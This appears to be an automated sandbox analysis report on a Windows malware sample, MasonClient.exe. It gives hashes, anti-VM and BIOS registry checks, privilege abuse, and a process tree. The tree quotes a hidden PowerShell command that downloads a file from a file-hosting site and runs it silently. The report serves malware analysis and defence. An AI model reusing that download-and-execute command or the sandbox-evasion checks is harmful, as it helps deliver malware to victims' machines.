Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
30/06/2026, 03:59
Static task
static1
Behavioral task
behavioral1
Sample
MasonClient.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
MasonClient.exe
Resource
win10ltsc2021-20260513-en
Behavioral task
behavioral3
Sample
MasonClient.exe
Resource
win11-20260513-en
Behavioral task
behavioral4
Sample
MasonClient.exe
Resource
win11ltsc2024-20260629-en
General
- Target MasonClient.exe
- Size 310KB
- Sample260630-ej8xesd19y
- SHA256 068d60132aa87ea77fa6b1b9c1b12bc25d1a6dc4bd8c0516f516e928e560564d
- MD5 aadc3bb763f144a53b91a508d72d26c8
- SHA1 6991707ce4b3b2f96a7c2feae2088dd3104ed556
- SHA512 554997e088a82dde50b09909e65c303b5281347ce5d22f535479bbd203aa67983961a1b46c528a6d8e5e983f94fe73e930881d5853281c72e6c84fbc9c7fc83c
- SSDEEP 6144:p6yPeAbZULOu2ofmOULfTU+UpYV2UwjU66bduA01T:p6ymAer2ofmmFeEUhk
- TLSH T1CE643A2C379AC920E1EBDAF7419F7550E7BA65A34F13E2A794C4913B3C10ECC4AA42D5
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions MasonClient.exe - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 4240 powershell.exe 3 4240 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4240 powershell.exe - Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools MasonClient.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion MasonClient.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion MasonClient.exe - Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 4 raw.githubusercontent.com 1 raw.githubusercontent.com - Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum MasonClient.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0 MasonClient.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 52 IoCs
pid Process 492 MasonClient.exe 4240 powershell.exe 4240 powershell.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe 492 MasonClient.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 492 MasonClient.exe Token: SeDebugPrivilege 4240 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 492 wrote to memory of 4240 492 MasonClient.exe 81
Processes
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Maps connected drives based on registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:492 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/8ruqew.rar' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4240
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_twgwi1jq.ueo.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH